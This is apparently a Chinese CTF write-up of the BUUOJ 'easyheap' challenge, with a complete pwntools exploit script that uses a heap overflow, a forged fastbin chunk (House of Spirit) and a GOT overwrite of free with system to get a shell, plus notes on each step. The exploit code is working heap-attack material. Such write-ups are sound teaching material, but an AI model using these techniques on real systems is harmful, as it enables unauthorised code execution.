pwn-EasyHeap(House of spirit)
阿新 • • 發佈:2020-09-11
checksec看防護:
部分rel,說明got劫持可行
create:
edit:
delete:
題目有後門函式但buu環境無法利用,所以要通過House of Spirit偽造chunk getshell
house of spirit構造chunk時有幾個關鍵點
1.fake chunk 的 ISMMAP 位不能為1,因為 free 時,如果是 mmap 的 chunk,會單獨處理。 2.fake chunk 地址需要對齊, 32位8位元組對齊,64為16位元組對齊 3.fake chunk 的 size 大小需要滿足對應的 fastbin 的需求。 4.fake chunk 的 next chunk 的大小合理。
先給出exp:
#!/usr/bin/python #coding:utf-8 from pwn import * p = process('./easyheap') #p = remote('node3.buuoj.cn',29727) elf =ELF('./easyheap') #context.log_level = 'debug' def create(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Size of Heap : ') p.send(str(size)) p.recvuntil('Content of heap:') p.send(str(content)) def edit(index,size,content): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(index)) p.recvuntil('Size of Heap : ') p.send(str(size)) p.recvuntil('Content of heap : ') p.send(str(content)) def free(index): p.recvuntil('Your choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(index)) free_got = elf.got['free'] create(0x68,'aaaa') #idx 0 create(0x68,'bbbb') #idx 1 create(0x68,'cccc') #idx 2 free(2) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020a0-3) edit(1,len(payload),payload) #gdb.attach(p) create(0x68,'aaaa') #idx 2 create(0x68,'c') #idx 3 payload = 'a'*33+p64(free_got) edit(3,len(payload),payload) #gdb.attach(p) payload = p64(elf.plt['system']) edit(0,len(payload),payload) free(1) #gdb.attach(p) p.interactive()
create建立三個堆,釋放 idx 2.因為存在堆溢位,編輯idx 1通過溢位改寫idx 2,改寫fd位置為0x6020a0-3,並且在idx 1寫入binsh。
其實idx2 的fd本應為空。因為idx 2是第一個free的fastbin,根據fastbin的特性,這裡偽造的fd指向的地址在下一次申請
大小合適的堆時會被malloc(前提是堆合法,滿足上文提到的4點)。
所以我們接著create兩個堆,idx2和idx3。idx3的地址就是我們一開始寫入的地址。我們在這個地方構造fake chunk。
問題來了。為什麼是0x6020a0-3呢? 詳見:利用地址開頭 7f 來偽造大小為 0x70 的 fastbin
首先找到堆的地址0x6020e0,檢視附件記憶體,偏移為3時出現7f。 0xe0-0xad=0x33,0x33就是padding的長度
利用edit改寫heaparray[0]地址為free的got(got劫持)
再把system寫入idx0,釋放idx1即可執行引數為bin/sh的system命令。